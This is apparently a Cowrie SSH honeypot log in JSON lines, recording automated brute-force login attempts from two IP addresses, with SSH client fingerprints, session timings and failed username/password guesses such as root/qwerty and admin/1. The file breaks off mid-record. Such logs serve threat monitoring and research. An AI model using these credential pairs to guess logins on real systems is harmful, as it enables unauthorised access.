{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.414661Z","src_ip":"192.109.200.237","session":"1a774542f32d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.666325Z","src_ip":"192.109.200.237","session":"1a774542f32d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36866,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ce14d5b8d06","protocol":"ssh","message":"New connection: 193.228.128.84:36866 (10.17.0.5:22) [session: 0ce14d5b8d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.699990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.705196Z","src_ip":"193.228.128.84","session":"0ce14d5b8d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.808307Z","src_ip":"193.228.128.84","session":"0ce14d5b8d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivan","message":"login attempt [root/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:17.115590Z","src_ip":"193.228.128.84","session":"0ce14d5b8d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:17.797915Z","src_ip":"192.109.200.237","session":"1a774542f32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:18.219747Z","src_ip":"193.228.128.84","session":"0ce14d5b8d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57170,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f1f7b8d2f7","protocol":"ssh","message":"New connection: 192.109.200.237:57170 (159.203.135.109:22) [session: f8f1f7b8d2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:19.388936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:19.393833Z","src_ip":"192.109.200.237","session":"f8f1f7b8d2f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:19.475843Z","src_ip":"192.109.200.237","session":"f8f1f7b8d2f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:19.720902Z","src_ip":"192.109.200.237","session":"f8f1f7b8d2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:20.805936Z","src_ip":"192.109.200.237","session":"f8f1f7b8d2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45530,"dst_ip":"159.203.135.109","dst_port":22,"session":"686f200de598","protocol":"ssh","message":"New connection: 192.109.200.237:45530 (159.203.135.109:22) [session: 686f200de598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:22.609700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:22.669122Z","src_ip":"192.109.200.237","session":"686f200de598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:22.722277Z","src_ip":"192.109.200.237","session":"686f200de598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:23.011993Z","src_ip":"192.109.200.237","session":"686f200de598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:24.097162Z","src_ip":"192.109.200.237","session":"686f200de598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45538,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e1bd9b23ed","protocol":"ssh","message":"New connection: 192.109.200.237:45538 (159.203.135.109:22) [session: d5e1bd9b23ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:25.877225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:25.881778Z","src_ip":"192.109.200.237","session":"d5e1bd9b23ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:25.964296Z","src_ip":"192.109.200.237","session":"d5e1bd9b23ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:26.211743Z","src_ip":"192.109.200.237","session":"d5e1bd9b23ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:27.301843Z","src_ip":"192.109.200.237","session":"d5e1bd9b23ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45540,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f1e74d46202","protocol":"ssh","message":"New connection: 192.109.200.237:45540 (159.203.135.109:22) [session: 5f1e74d46202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:29.019671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:29.023898Z","src_ip":"192.109.200.237","session":"5f1e74d46202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:29.109862Z","src_ip":"192.109.200.237","session":"5f1e74d46202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:29.355557Z","src_ip":"192.109.200.237","session":"5f1e74d46202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:30.440378Z","src_ip":"192.109.200.237","session":"5f1e74d46202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39834,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d595b038b9c","protocol":"ssh","message":"New connection: 192.109.200.237:39834 (159.203.135.109:22) [session: 8d595b038b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:32.112810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:32.123183Z","src_ip":"192.109.200.237","session":"8d595b038b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:32.298541Z","src_ip":"192.109.200.237","session":"8d595b038b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:32.552793Z","src_ip":"192.109.200.237","session":"8d595b038b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:33.637536Z","src_ip":"192.109.200.237","session":"8d595b038b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39846,"dst_ip":"159.203.135.109","dst_port":22,"session":"79e6467ddab5","protocol":"ssh","message":"New connection: 192.109.200.237:39846 (159.203.135.109:22) [session: 79e6467ddab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:35.393160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:35.397747Z","src_ip":"192.109.200.237","session":"79e6467ddab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:35.484543Z","src_ip":"192.109.200.237","session":"79e6467ddab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:35.735975Z","src_ip":"192.109.200.237","session":"79e6467ddab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:36.822864Z","src_ip":"192.109.200.237","session":"79e6467ddab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2f9aa29c8e7","protocol":"ssh","message":"New connection: 192.109.200.237:39856 (159.203.135.109:22) [session: d2f9aa29c8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:38.514987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:38.519447Z","src_ip":"192.109.200.237","session":"d2f9aa29c8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 